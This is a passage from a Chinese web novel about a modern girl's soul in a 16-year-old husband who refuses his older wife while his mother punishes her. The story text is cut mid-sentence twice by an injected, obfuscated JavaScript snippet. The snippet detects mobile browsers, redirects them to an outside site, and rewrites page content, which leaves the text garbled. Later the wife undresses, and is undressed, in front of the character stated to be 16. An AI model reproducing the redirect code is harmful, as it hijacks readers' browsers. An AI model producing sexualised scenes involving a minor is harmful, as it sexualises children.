肖母却固执己见,说道:“我这是为他们好。想当年我刚进肖家门,不也是被婆婆严加管教?现在咱们肖家和睦,家业兴旺,不都是规矩立下的功劳?傲雪这丫头,看着柔弱,万一心里有别的想法,到时候苦的可是咱儿子。” 肖父见肖母如此坚持,知道一时半会儿劝不动她,只能语重心长地说:“就算要立规矩,也该循序渐进,不可操之过急。你这样会让傲雪心生怨恨,对这个家也没有归属感。儿子和儿媳若是关系不好,这个家又怎能安宁?” 肖母沉默了一会儿,似乎在思索肖父的话,但很快又说道:“我自有分寸,你就别管了。我只希望儿子能好好继承家业,延续肖家香火,其他的都不重要。”说完,便不再理会肖父,径直走向内室。 肖父望着肖母的背影,心中忧虑重重。他担心肖母这般强硬的做法,会让这个家陷入更深的矛盾与危机之中,却又不知该如何化解这日益紧张的婆媳关系,只能暗自叹息。 李傲雪在房里坐立不安,满心紧张地等待着肖晨。终于,听到门外传来脚步声,她赶忙起身,见肖晨推门而入。 李傲雪鼓足勇气,轻声说道:“少爷,能不能陪我回房说说话?”肖晨本想拒绝,可看着李傲雪眼中那小心翼翼又满含期待的神情,终究还是没能狠下心,犹豫片刻后应道:“好吧。” 两人回到房间,李傲雪请肖晨坐下,自己则局促地坐在一旁,双手不自觉地绞着衣角。沉默片刻,李傲雪抬起头,看着肖晨,眼中带着一丝羞涩与紧张:“少爷,今日在我娘家,我瞧您与我父亲相谈甚欢,心里很是欢喜。” 肖晨微微点头,神色舒缓了些:“岳父见识广博,与他交谈的确受益匪浅。” 李傲雪轻轻咬了咬嘴唇,似是下了很大决心,接着说道:“少爷,我知道咱们成婚以来,相处得不算融洽,我……我想改变这样的状况。以后,我会更加用心照顾您,也希望咱们能像寻常夫妻那般,相互扶持。” 肖晨看着李傲雪,心中泛起一丝复杂的情绪。他从未想过李傲雪会如此坦诚地说出这番话,一时竟不知如何回应。过了一会儿,他缓缓说道:“你有这份心意便好。只是……有些事,并非一朝一夕就能改变。” 李傲雪赶忙点头:“我明白,少爷。我愿意慢慢来,只要您能给我机会。”她眼中闪烁着坚定的光芒,仿佛在这一刻,看到了两人关系改善的希望。 肖晨看着李傲雪认真的模样,心中的防线悄然松动了几分。他微微颔首,说道:“以后的日子,且看你表现吧。”李傲雪脸上顿时绽放出笑容,说道:“多谢少爷,我定会努力。” 肖晨神色平静,语气却不容置疑:“我只能答应跟你好好相处,但依旧不会碰你。三年为期,若你无所出,我们便和离。” 李傲雪听闻,眼眶瞬间红了,满心委屈与不解,追问道:“为什么,为什么你就是不肯接纳我?” 肖晨避开她的目光,找了个借口说道:“我年纪小,还想多专注于家族事务。更何况,我对你确实没什么感情,男女之事,强求不来。” 李傲雪泪水在眼眶里打转,声音带着哭腔:“你是不是嫌弃我比你大,所以才一直不肯碰我?可我是你的妻子啊,自我们成婚那日起,便应同甘共苦,相互扶持。” 肖晨心中微微一滞,面对李傲雪的质问,竟有些无言以对。他深知自己的理由牵强,可内心的抗拒又难以消散。沉默片刻,他硬着心肠说道:“与年龄无关,感情的事,勉强不来。你莫要再提此事,往后三年,你我相安无事便好。” 李傲雪泪如雨下,心中满是绝望与悲哀。她不明白,为何自己的真心付出,换来的却是这般冰冷的回应。在这封建礼教束缚的婚姻里,她满心期许的夫妻和睦、相濡以沫,似乎变得遥不可及。然而,她又无力改变肖晨的决定。 肖晨深知自己身处这复杂的局面,根本无法给予李傲雪世俗意义上的幸福。毕竟,他实则是来自现代的女孩子,灵魂的本质让她实在难以对同为女性的李傲雪产生爱意。 为了能让李傲雪彻底死心,肖晨咬了咬牙,狠心地说道:“我就是嫌弃你比我大!看看那些女人,哪个不是在豆蔻年华时最动人,可你呢,都成老姑娘了。我才16岁,大好年华还在后头,怎么能和你一直将就过下去?” 李傲雪如遭雷击,脸色瞬间变得惨白。她瞪大了双眼,难以置信地看着眼前这个熟悉又陌生的丈夫,泪水不受控制地奔涌而出。她颤抖着嘴唇,却半晌说不出话来。她怎么也想不到,自己一心所托之人,竟会用如此伤人的话语来刺痛她。 在这封建礼教森严的时代,女子的年华与容貌被视为重中之重,肖晨这番话,无疑是对她最致命的打击。她满心的爱意与期待,在这一刻,如泡沫般破碎消散。 肖晨看着李傲雪痛苦的模样,心中也泛起一丝不忍。可她明白,若不狠下心来,只会让李傲雪陷得更深,未来受到的伤害也更大。于是,她只能别过头,不去看李傲雪的惨状,任由那悲伤的气氛在房间里肆意蔓延,只是在心底默默叹息,感慨命运弄人。 李傲雪泣不成声,满心悲戚地质问:“你既然这么嫌弃我,当初为什么要娶我?既然厌恶至此,又何必让我陷入这痛苦的境地!” 肖晨别过头,不敢直视李傲雪那饱含绝望与痛苦的眼神,硬着心肠说道:“那还不是家族的安排!我又有什么办法?我本就身不由己。”顿了顿,他似是为了彻底断绝李傲雪的念想,再次狠下心来,言辞愈发冰冷:“我要的人,必定是年轻漂亮,正值青春妙龄的。你都到这岁数了,就别再妄想能得到我的爱。说实话,碰你一下,我都觉得浑身不自在,受不了。” 这些话如同一把把利刃,直直刺入李傲雪的心窝。她只觉得万念俱灰,原本对婚姻仅存的一丝幻想,此刻被肖晨无情地碾得粉碎。她一直以为,即便起初没有感情,只要自己用心相待,日子久了,总能捂热肖晨的心。却不曾想,在肖晨眼中,自己竟是如此不堪。 李傲雪双腿一软,险些瘫倒在地。她下意识地伸手扶住桌子,才勉强稳住身形。泪水不停地从脸颊滑落,打湿了她的衣衫。在这封建的牢笼里,她本就如浮萍般身不由己,如今被肖晨这般残忍对待,更觉前路茫茫,不知该何去何从。 肖晨看着李傲雪摇摇欲坠的模样,心中一阵刺痛。尽管她清楚自己的做法是为了长痛不如短痛,可目睹李傲雪如此伤心欲绝,终究还是有些于心不忍。但她明白,一旦心软,之前的努力便会付诸东流,只能强忍着内心的挣扎,转身快步走出房间,留下李傲雪一人在房中,沉浸在无尽的悲伤之中。 丫鬟匆匆赶到肖母跟前,低声禀告:“夫人,少爷出去了,少夫人一个人在房间里哭得很伤心。”肖母听闻,脸色一沉,下意识便觉得是李傲雪这个“贱人”又惹儿子不高兴了。她怒气冲冲地朝着李傲雪房间走去。 一进房间,就看到李傲雪哭得梨花带雨,狼狈不堪。肖母皱着眉头,满脸嫌弃地说道:“你们回来的时候还好好的,怎么这一会儿功夫,我儿子又跑出去了?你到底对他说了什么,做了什么?” 李傲雪满心委屈,想解释却又不知从何说起,只是泣不成声。肖母见状,愈发恼火,提高音量道:“哼,我就知道你不安分!嫁进我们肖家,是你的福气,你不懂得好好珍惜,还在这里哭哭啼啼,成何体统!说,是不是你又纠缠我儿子,惹他厌烦了?” 李傲雪好不容易止住些哭声,抽噎着说道:“娘……不是我……是少爷他……他说嫌弃我年纪大,说碰我一下都受不了,还说三年后若我无所出就和离……”说着,又悲从中来,放声大哭。 肖母听了,心中虽有些惊讶儿子竟如此直白,但仍觉得李傲雪是在装可怜。她冷哼一声:“我看你就是平日里不知检点,才引得我儿子如此厌烦。我警告你,进了肖家门,就得守肖家的规矩。要是再敢惹我儿子不开心,我绝不轻饶!”说罢,甩袖而去,只留下李傲雪独自在房内,在痛苦与绝望中愈发无助。 李傲雪呆呆地望着肖母离去的背影,泪水依旧止不住地流淌。心中的悲戚如潮水般汹涌,几乎将她淹没。她满心都是肖晨那绝情的话语,以及肖母的指责,只觉自己在这肖家,当真如坠冰窟,孤立无援。 此后的日子里,李傲雪愈发小心翼翼。她每日早早起身,精心梳妆,只为能在肖晨面前留下好印象,可肖晨依旧对她冷淡如初。哪怕她费尽心思准备肖晨爱吃的饭菜,肖晨也只是匆匆吃上几口,便借口有事离开。 而肖母,似乎认定了是李傲雪的错,对她的态度也越发恶劣。稍有不顺心,便对李傲雪冷嘲热讽,或是罚她做些繁重的活计。李傲雪默默承受着这一切,心中虽有怨愤,却因无处倾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993168|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉,只能暗自落泪。 一日,肖家来了一位远方亲戚,携家眷一同拜访。肖母为了彰显家族和睦,要求李傲雪在众人面前表现出夫妻恩爱的模样。李傲雪心中虽不情愿,但也只能听从安排。 宴会上,李傲雪努力挤出笑容,为肖晨布菜,轻言细语地与他交谈。肖晨心中厌烦,却又不好在众人面前发作,只能勉强应付。然而,敏锐的肖母还是察觉到了两人之间的异样。 待客人离去后,肖母将李傲雪唤到跟前,怒声斥责道:“你到底怎么回事?在客人面前都不能让我儿子有个好脸色。你是不是存心要让肖家丢脸?”李傲雪满心委屈,却不敢辩驳,只能低着头默默流泪。 肖母见状,更是火冒三丈:“哭,就知道哭!从今天起,你就去祠堂跪着反省,什么时候想明白了,知道该怎么伺候我儿子了,什么时候再起来!” 李傲雪不敢违抗,拖着沉重的步伐走向祠堂。冰冷的地面刺痛着她的膝盖,可比起心中的伤痛,这身体上的疼痛似乎都变得微不足道。她望着祠堂里供奉的祖先牌位,心中一片茫然,不知自己在这肖家的苦难日子,究竟何时才是尽头…… 肖晨漫步在自家花园,目光扫过那五彩斑斓的花朵,脑海中不禁浮现出岳父送花时的场景。这些品种各异的花卉,承载着岳父的心意,也让他不自觉地想起李傲雪。往日里,李傲雪总会在花园中流连,悉心照料这些花儿,可今日却不见她的踪影。 心中泛起一丝疑惑,肖晨唤来身旁的下人,询问道:“少夫人呢?怎么没见她来花园?”下人面露难色,纷纷摇头表示不知。 无奈之下,肖晨只能前往母亲的住处。见到母亲后,他开口问道:“娘,您知道傲雪去哪儿了吗?我在花园没看到她,问下人,他们也说不清楚。” 肖母抬眼瞧了瞧儿子,哼了一声说道:“她呀,去祠堂了。今儿个在客人面前没把场面撑起来,惹得我不高兴,我罚她去祠堂跪着反省了。” 肖晨微微皱眉,心中闪过一丝复杂的情绪。他想说些什么,却又觉得似乎没有立场。毕竟,母亲管教儿媳,在这家中也是常理。可不知为何,一想到李傲雪独自在祠堂跪着,他心中竟有些不是滋味。 沉默片刻,肖晨轻声说道:“娘,祠堂阴冷,她身子弱,您看这……”肖母不等他说完,便打断道:“怎么?心疼了?她要是能把伺候你的心思多放点在正事儿上,也不至于受罚。你别管了,我自有分寸,这也是为了让她长点记性。” 肖晨见状,知道母亲心意已决,再多说恐怕只会惹母亲不悦。他只好作罢,转身离开。可在离去的路上,他忍不住回头望向祠堂的方向,心中暗暗思忖,李傲雪在那里,不知要吃多少苦头…… 肖晨深知婆媳关系向来错综复杂,处理起来棘手万分。在这封建的古代社会,孝道大过天,若是背上不孝顺的骂名,不仅会沦为众人的谈资,遭人唾弃,就连官府也不会轻易放过自己,而且势必会严重影响家族的声誉。权衡之下,他实在不想得罪母亲。 然而,一想到李傲雪独自在祠堂承受着冰冷与孤寂,他又于心不忍。一番挣扎后,肖晨还是决定悄悄前往祠堂。 月色如水,洒在庭院的小径上。肖晨避开众人,脚步轻轻,生怕惊动他人。穿过曲折的回廊,绕过几处亭台楼阁,他终于来到了祠堂前。 祠堂的门半掩着,透出一丝微弱的烛光。肖晨轻轻推开门,门轴发出“嘎吱”一声轻响,在寂静的夜里格外清晰。他看到李傲雪正跪在蒲团上,身形单薄,在摇曳的烛光下,影子被拉得老长。 李傲雪听到声响,微微转过头,看到是肖晨,眼中闪过一丝惊讶与慌乱,赶忙低下头去,小声说道:“少爷,您怎么来了?”声音带着几分哽咽与疲惫。肖晨看着她狼狈的模样,心中一软,轻声问道:“你……还好吗?”话一出口,又觉得自己的问题有些多余,这样的情境下,她又怎么会好呢。 李傲雪咬了咬嘴唇,强忍着泪水说道:“少爷,我没事。是儿媳做得不好,惹母亲生气了,理应受罚。”肖晨微微皱眉,想说些安慰的话,却又不知从何说起。沉默片刻,他缓缓走到李傲雪身边,说道:“起来吧,地上凉。”李傲雪犹豫了一下,还是摇了摇头:“少爷,我不能起来,母亲罚我跪着反省,儿媳若起来,便是违抗母命。” 肖晨心中有些无奈,也有些敬佩她对规矩的恪守。他想了想,说道:“那你先稍歇一会儿,我去和母亲说说,让她饶恕你这一回。”李傲雪抬起头,眼中满是感激:“多谢少爷,只是……您千万别为了我与母亲起争执,不然儿媳罪过就更大了。” 肖晨听到她这么说,心中涌起一阵怜惜。他不再迟疑,伸手轻轻扶起李傲雪,说道:“女人家身子骨要紧,这祠堂阴冷,要是病了可不好。” 李傲雪身子微微一颤,在肖晨的搀扶下缓缓起身。她抬起头,望着肖晨,眼中泪光闪烁,声音带着几分颤抖:“少爷,您……您的好意,我心领了。可若是母亲怪罪下来……” 肖晨看着她那担忧的模样,心中轻叹一声,说道:“你且放心,有我在。母亲那里,我自会去说。你先坐下歇歇。”说着,他扶着李傲雪走到一旁的凳子前,让她坐下。 李傲雪坐在凳子上,低垂着头,双手不自觉地绞着衣角,心中满是感动与不安。感动的是,肖晨竟会不顾母亲的责罚,前来关心自己;不安的是,她害怕自己的行为会让肖晨与母亲之间产生矛盾。 肖晨看着李傲雪局促的样子,心中有些自责。成婚以来,自己对她太过冷漠,才让她在这家中如此战战兢兢。他轻声说道:“傲雪,这些日子,是我对你关心不够。往后,我会注意的。” 李傲雪听闻,眼中闪过一丝惊喜,她猛地抬起头,看着肖晨,仿佛不敢相信自己的耳朵:“少爷,您……您说的可是真的?”肖晨微微点头,说道:“自然是真的。你我既已成婚,便是夫妻,理当相互扶持。” 李傲雪眼眶再次湿润,这一次,不是因为委屈与痛苦,而是因为肖晨这突如其来的温柔与承诺。她哽咽着说道:“少爷,只要您能这般待我,傲雪便是再苦再累,也心甘情愿。” 肖晨看着李傲雪,心中的坚冰仿佛在这一刻悄然融化。他轻轻拍了拍李傲雪的肩膀,说道:“好了,别哭了。我这就去母亲那儿,你在这里等我消息。”李傲雪乖巧地点点头,目送着肖晨离开祠堂,心中默默祈祷着肖晨能说服母亲,也期盼着他们夫妻之间的关系能就此改善。 8. 起了生理反应 肖晨匆匆来到母亲身边,一脸恳切地说道:“娘,您就原谅傲雪吧。您也知道,祠堂那地方阴暗潮湿,她一介女流,身子骨本就弱,要是真被折腾坏了,以后谁来伺候我呀。” 肖母听了,脸色一沉,冷哼道:“那也不行!她连伺候你都做不好,留着何用?大不了咱们重新娶一个。她伺候不好我的儿子,那是她活该!” 肖晨见母亲态度坚决,心中一急,脱口而出:“娘,您要是不原谅她,我就陪着她一起在祠堂跪着!” 肖母瞪大了眼睛,难以置信地看着儿子,气得浑身发抖:“你……你这是在威胁娘?为了那个女人,你居然敢这么跟我说话!” 肖晨扑通一声跪在地上,语气坚定:“娘,我不敢威胁您。只是傲雪她并无恶意,今日之事或许只是无心之失。儿子恳请您高抬贵手,饶她这一回。若您执意不肯,儿子甘愿受罚,也好让傲雪知道守规矩的重要。” 肖母看着跪在地上的儿子,又气又恼,手指着他,半晌说不出话来。她怎么也没想到,一向听话的儿子,竟会为了儿媳跟自己如此强硬。 沉默良久,肖母重重地叹了口气:“罢了罢了,你起来吧。看在你的面子上,我就饶她这一回。不过你给我记住,下不为例!要是她再敢犯错,我绝不轻饶!” 肖晨心中一喜,赶忙说道:“多谢娘!儿子定会让傲雪明白您的苦心,往后她定会更加小心谨慎,孝顺您老。”说完,他起身匆匆往祠堂赶去,要将这个好消息告诉李傲雪,也希望从此之后,家中能少些纷争,他与李傲雪的关系能真正有所改善。 李傲雪看到肖晨匆匆走进祠堂,眼中满是担忧,急忙问道:“少爷,没有让娘生气吧?” 肖晨脸上浮现出一丝笑意,说道:“放心吧,她已经原谅你了。你就不用跪着了。”说罢,不等李傲雪反应,他便轻轻将她抱了起来,朝着房间走去。 李傲雪顿时羞红了脸,这还是她第一次与肖晨如此近距离接触。她下意识地挣扎了一下,轻声说道:“不可,少爷还没完全长大,累着你怎么办。” 肖晨感受到她的不安,嘴角微微上扬,说道:“你放心,我抱得动。你刚跪了那么久,腿脚肯定麻了,别逞强。” 李傲雪听他这么说,心中又是感动又是羞涩,便不再挣扎,乖乖地窝在肖晨怀里,感受着他有力的臂膀传递来的温度,一颗心怦怦直跳。 很快,肖晨便将李傲雪抱进了房间,轻轻放在床上。李傲雪坐起身来,低垂着头,双手紧张地揪着衣角,小声说道:“多谢少爷,今日若不是少爷,傲雪真不知该如何是好。” 肖晨看着她这副娇羞又感激的模样,心中泛起一丝别样的情愫,柔声道:“好了,别这么客气。你好好休息,今日之事就翻篇了。以后有什么事,别一个人扛着,跟我说便是。” 李傲雪微微点头,抬眸看向肖晨,眼中满是信任与依赖:“嗯,傲雪记住了,少爷的恩情,傲雪定当铭记于心。” 肖晨微笑着摆了摆手,说道:“这点小事你不用放心上,往后咱们是夫妻,相互照应是应该的。” 李傲雪眼中满是期许,轻声问道:“你能坐在这陪我一会好吗?”她的声音轻柔,带着一丝不易察觉的怯懦,仿佛生怕肖晨会拒绝。 肖晨没有丝毫犹豫,点头应允。他转身走到桌旁,倒了一杯热茶,小心翼翼地端到李傲雪面前,递了过去,关切地说道:“你喝点茶暖暖身体。女人家身子骨不能受凉,刚在祠堂跪久了,寒气容易入体。” 李傲雪接过茶杯,手指不经意间触碰到肖晨的手,顿时一阵温热传来,她的脸颊瞬间泛起红晕。她轻抿一口茶,热气顺着喉咙缓缓而下,温暖了她的身心,也驱散了方才在祠堂里的寒意。 两人一时陷入沉默,却并不觉得尴尬。李傲雪偷偷抬眸看向肖晨,目光中满是羞涩与感激。她发现,今日的肖晨似乎与往日不同,多了几分温柔与体贴,这让她原本冰冷的心,渐渐有了温度。 肖晨注意到李傲雪的目光,心中微微一动。他清了清嗓子,说道:“你若是觉得冷,我再让人给你添个暖炉。以后,别总是这么委屈自己,有什么想法,都可以跟我讲。” 李傲雪眼眶微红,轻轻点头,声音带着几分哽咽:“少爷,您今日的关怀,傲雪都记在心里了。以前……以前是傲雪做得不好,没能让少爷满意。往后,傲雪定会更加用心。” 肖晨看着李傲雪,心中泛起一丝怜惜,说道:“过去的事就别提了,以后咱们好好过日子。” 李傲雪望着眼前温柔体贴的肖晨,心中爱意如潮水般翻涌,情难自抑地主动凑上去,想要吻他,试图用这个举动来表达自己满心的情感。 肖晨敏锐地察觉到她的意图,下意识地迅速闪过头,脸上浮现出一丝慌乱,语气带着不容置疑的坚决,说道:“你不要离我这么近。我不能爱你。” 李傲雪如遭电击,动作瞬间僵住,眼中的光芒也陡然黯淡下去,只剩下无尽的失落与难堪。她缓缓往后退,与肖晨拉开距离,嘴唇颤抖着,泪水在眼眶里打转:“少爷,为什么……为什么还是不行?我以为……以为您今日对我与往日不同,是……是对我有了心意。” 肖晨避开她那饱含痛苦与疑惑的目光,心中满是纠结与无奈。他深知自己的拒绝会让李傲雪伤心,可他内心深处的那道防线,却始终无法逾越。沉默片刻,他艰难地开口说道:“傲雪,我……我并非有意要伤害你。只是,有些事情,不是我能左右的。你很好,可我……实在无法给予你男女之间的那种爱。” 李傲雪的泪水夺眶而出,顺着脸颊滑落。她满心悲戚,却又无力改变肖晨的心意。在这封建礼教的束缚下,她对肖晨的爱,本就如风中残烛,摇摇欲坠,如今肖晨这冰冷的拒绝,更是让她觉得万念俱灰。她哽咽着说道:“少爷,难道在您心里,我就如此不堪,连一丝机会都没有吗?” 肖晨看着李傲雪悲痛欲绝的模样,心中一阵刺痛,可他终究还是狠下心,说道:“傲雪,长痛不如短痛,你……还是忘了这份感情吧。”说罢,他不敢再看李傲雪一眼,转身匆匆离开房间,只留下李傲雪一人,在这寂静的房间里,独自承受着这份被拒的伤痛,泪水打湿了衣衫,也浸湿了她那颗破碎的心。 肖母瞧见儿子从李傲雪房间出来,眼神瞬间犀利起来,赶忙迎上前去,语气带着几分急切与不满:“我今天都原谅她了,你是不是也该给我个说法?你们成婚这么久,到现在都还没有圆房,你到底想让我等到什么时候才能抱上孙子?” 肖晨心中一紧,脸上闪过一丝不自然。他低下头,避开母亲那灼灼的目光,嗫嚅着说道:“娘,此事急不得,我……我和傲雪还需要些时间相互了解。” 肖母一听,顿时就急了,提高音量说道:“还需要什么时间?你们都已经是夫妻了!哪有像你们这样成婚许久还不同房的?你别忘了,传宗接代可是大事,关乎我们肖家的香火延续!” 肖晨无奈地叹了口气,深知母亲在这件事上的执着,可他内心的想法又难以对母亲言说。沉默片刻,他缓缓说道:“娘,我知道您盼着抱孙子,可感情的事,不能强求啊。我想先把家族的生意打理好,给傲雪一个安稳的生活,到时候再考虑这些,也不迟。” 肖母皱着眉头,满脸的不悦:“你这说的是什么话?家族生意重要,延续香火就不重要了?你看看你那些朋友,哪家不是早早地就有了子嗣?你再拖下去,别人该怎么说我们肖家?” 肖晨心中一阵烦闷,却又不好对母亲发脾气。他试图换个角度劝说:“娘,傲雪刚进咱们家门不久,对家中事务还不太熟悉,我想让她先适应适应,等一切都稳定了,自然会考虑圆房之事。您就别再逼我了。” 肖母看着儿子那副坚持的模样,知道一时半会儿也说服不了他。她重重地哼了一声,说道:“我可告诉你,你别给我拖太久。这事儿,你得尽快给我个结果!”说完,气呼呼地转身走了,只留下肖晨站在原地,一脸的无奈与惆怅,不知该如何平衡母亲的期望与自己内心的纠结。 肖晨无奈之下,只能硬着头皮再次回到房间。李傲雪看到他回来,眼中瞬间亮起光芒,满心欢喜地以为他是舍不得自己才折返,不假思索地下床,快步走到肖晨身边,紧紧地抱住了他。 肖晨被这突如其来的举动弄得有些不知所措,看着这样热情的李傲雪,他轻轻挣开她的怀抱,脸上带着几分尴尬与无奈,说道:“你不要这样。” 李傲雪眼中的光芒微微一黯,却依旧不肯放弃,仰头看着肖晨,眼中满是深情与期待:“少爷,为什么您还是如此抗拒我?今日您为我向母亲求情,我以为……以为您对我已有所不同。” 肖晨避开她的目光,心中五味杂陈,不知该如何解释。他沉默片刻,缓缓说道:“傲雪,我为你向母亲求情,只是不想你受委屈,但这并不代表……代表我就能如你所愿。我……我对你,更多的是一种责任,而非男女之爱。” 李傲雪心中一阵刺痛,泪水再次涌上眼眶:“责任?难道在少爷心中,我就只是一个需要负责的对象,而永远无法得到您的真心吗?” 肖晨看着李傲雪伤心欲绝的模样,心中也不好受,可他又不想给她不切实际的希望。他深吸一口气,说道:“傲雪,感情之事,强求不来。我希望你能明白,我们或许可以相敬如宾,但……真的很难有你所期望的那种爱情。” 李傲雪松开了抱着肖晨的手,缓缓后退几步,失魂落魄地说道:“相敬如宾?可我想要的,明明是与您两情相悦,携手相伴一生。难道,这对我来说,真的是奢望吗?”说罢,泪水不受控制地流淌下来,她转身扑到床上,放声痛哭,仿佛要将这段时间以来所有的委屈与痛苦都宣泄出来。 肖晨缓缓走到床边坐下,看着哭得伤心的李傲雪,心中满是无奈,只能继续找借口说道:“我……我真的只是把你当成姐姐看待,从小到大,我对姐姐就是这种关心。” 李傲雪抬起满是泪痕的脸,眼中透着执着与哀求:“那你为什么这么关心我?若是只当我是姐姐,又何必为我向母亲求情?我不要做你的姐姐。我知道自己比你大,你不喜欢我,可只要让我做你的女人就好。哪怕你以后纳妾都行,我只求能在你身边,有个名分。” 肖晨听着李傲雪的话,心中一阵刺痛。他深知自己的行为让李傲雪产生了误解,可又无法将自己真实的内心想法说出。沉默良久,他艰难地开口:“傲雪,你别这样。纳妾之事也不是随意而为,而且即便如此,也不能改变我对你的感情。我……我希望你能找到真正爱你的人,能给你幸福的人。” 李傲雪苦笑一声,泪水再次涌出:“在这深宅大院里,我哪还有别的选择?自从嫁给你,我的心就全系在你身上了。少爷,难道您就真的忍心让我在这冰冷的宅院里,孤独终老吗?” 肖晨看着李傲雪如此绝望,心中的防线几乎要被攻破。但他知道,一旦心软,对两人都将是更大的伤害。他咬了咬牙,说道:“傲雪,你别逼我。我……我真的做不到。你先冷静冷静,好好想想我说的话。” 李傲雪猛地扑上前,紧紧抱住肖晨,声音带着决然与悲怆:“你要是不要我,与其在这里孤独终老,一辈子得不到你的爱,我还不如死了呢!” 肖晨身子一僵,满心焦急,赶忙说道:“你为何如此糊涂!生命何等珍贵,怎能轻言生死。” 李傲雪抬起头,泪眼朦胧地望着肖晨,神情凄楚又坚定:“出嫁从夫,从我嫁给你的那一刻起,我就认准了你。我的心,我的人,都已属于你。若不能与你相濡以沫,这世间于我,又有何意义?” 肖晨心中五味杂陈,既为李傲雪的深情所触动,又因自己无法回应这份感情而倍感煎熬。他试图掰开李傲雪紧抱自己的双手,语气尽量温和却又透着无奈:“傲雪,你这想法太过偏激。人生并非只有男女之情,还有许多值得你珍视的东西,比如你的家人,比如这世间的美好。” 李傲雪却抱得更紧,泣不成声:“在我心中,你就是一切。若失去你,那些所谓的美好,我根本无心去看。少爷,求求你,给我一个机会,让我留在你身边,做你的女人,哪怕只是妾室,我也心甘情愿。” 肖晨长叹一口气,深知李傲雪深陷这份感情难以自拔,而自己却无力解开这个死结。他缓缓说道:“傲雪,感情之事不能强求,你如此执着,只会让自己更加痛苦。我……我真的给不了你想要的回应。你且先放开我,好好想想。”然而,李傲雪依旧死死抱住他,仿佛一旦松开,就会失去所有。 肖晨看着这般绝望无助的李傲雪,内心满是挣扎。接受她,自己实在难以逾越心里那道坎;可不接受,又实在不忍心看她如此遭罪。犹豫再三,他终究还是轻轻抱住了李傲雪,柔声道:“你好好的,别作践自己。” 李傲雪听闻,眼中瞬间燃起一丝希望,急切地问道:“那你会留下来陪我吗?” 肖晨无奈地叹了口气,终究还是点了点头,说道:“我陪你就是。” 李傲雪紧绷的身体这才缓缓放松,她将头埋在肖晨怀里,小声抽泣着。肖晨抱着她,心中五味杂陈,只能轻轻拍着她的背,试图安抚她的情绪。 两人就这样静静地相拥着,房间里安静得只能听到李傲雪渐渐平复的抽泣声。过了许久,李傲雪抬起头,看着肖晨,脸上还挂着未干的泪痕,轻声说道:“少爷,只要你能留在我身边,我以后再也不逼你了。” 肖晨看着她,心中涌起一阵怜惜,说道:“别哭了,哭多了对眼睛不好。”说着,他伸手轻轻擦去李傲雪脸上的泪水。 李傲雪微微红了红脸, shyly 说道:“嗯,我听少爷的。”此刻的她,仿佛一个得到糖果的孩子,眼中满是幸福与满足。 肖晨看着李傲雪这副模样,心中不禁有些感慨。他知道,自己这一留,或许会给李傲雪更多的希望,可他又实在不忍心推开她。在这寂静的夜里,两人相拥而坐,未来的路虽依旧迷茫,但至少在这一刻,李傲雪感受到了一丝温暖,而肖晨,也暂时放下了心中的纠结与无奈。 李傲雪见肖晨终于愿意留下来,心中满是欢喜与期待,她微微颤抖着双手,试探性地开始为肖晨宽衣解带。肖晨身子微微一僵,但终究还是没有拒绝。 李傲雪见他这般反应,胆子渐渐大了起来,在他面前缓缓褪去衣衫。她裸露着身躯,脸颊绯红,满心羞涩与紧张,偷偷抬眼去看肖晨。 然而,映入她眼帘的,是肖晨那清澈的眼神,没有丝毫欲望,平静得如同波澜不惊的湖面。李傲雪心中一滞,满心的期待瞬间被一丝失落所取代。她不明白,为何自己如此主动,肖晨却依旧如此淡然。 肖晨看着李傲雪,心中五味杂陈。他明白李傲雪的心意,可自己内心对女人的身体早已见怪不怪了,自己眼神却无法如她所愿。他张了张嘴,想要说些什么,却又不知该如何开口。 房间里陷入了一阵尴尬的沉默,李傲雪咬了咬嘴唇,轻声说道:“少爷,难道……难道我真的如此不堪,让您连看一眼的欲望都没有吗?”她的声音带着一丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993169|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颤抖,满心都是被冷落的委屈。 肖晨赶忙别过头,不敢再看李傲雪,说道:“傲雪,你别误会。这并非是你不好,只是……只是我心中实在无法生出那样的情愫。”他的语气中带着几分无奈与愧疚,深知自己的行为让李傲雪伤心了。 李傲雪眼中泪光闪烁,缓缓穿上衣服,默默走到床边坐下。她低垂着头,看不清脸上的表情,只是轻声说道:“少爷,我懂了。或许,这就是我的命吧。”说罢,泪水不受控制地再次滑落,打湿了她的裙摆,也浸湿了她那颗满怀期待又被狠狠刺痛的心。 肖晨满心不忍,抬手轻轻替她擦去眼泪,嗫嚅着说道:“我不是说了我还小吗,我这还没成年呢,也许这种事急不得。”话一出口,他自己都觉得这借口牵强,但实在不知如何面对李傲雪的深情与绝望。 说完,为了安抚李傲雪,他只得硬着头皮,缓缓伸手给她把衣服脱了,动作有些僵硬和不自然。李傲雪默默配合着,眼中的泪依旧在眼眶里打转,却不再言语。当衣物一件件滑落,房间里弥漫着一种异样而尴尬的静谧,只有两人略显急促的呼吸声。 肖晨不敢直视李傲雪的身体,心里满是纠结与无奈,他知道这样的举动可能会给李傲雪更多的误解,但当下似乎也没有更好的办法来缓解这极度压抑悲伤的气氛。而李傲雪则紧闭双眼,泪水顺着脸颊滑落,心中既有对肖晨此举的一丝期待,又夹杂着深深的苦涩与迷茫,不知这段复杂而纠结的关系究竟会走向何方。 李傲雪将肖晨的手放在自己的心口,目光灼灼地望着他。肖晨的视线触及她的身体,顿时一阵慌乱,下意识地想要抽回手。 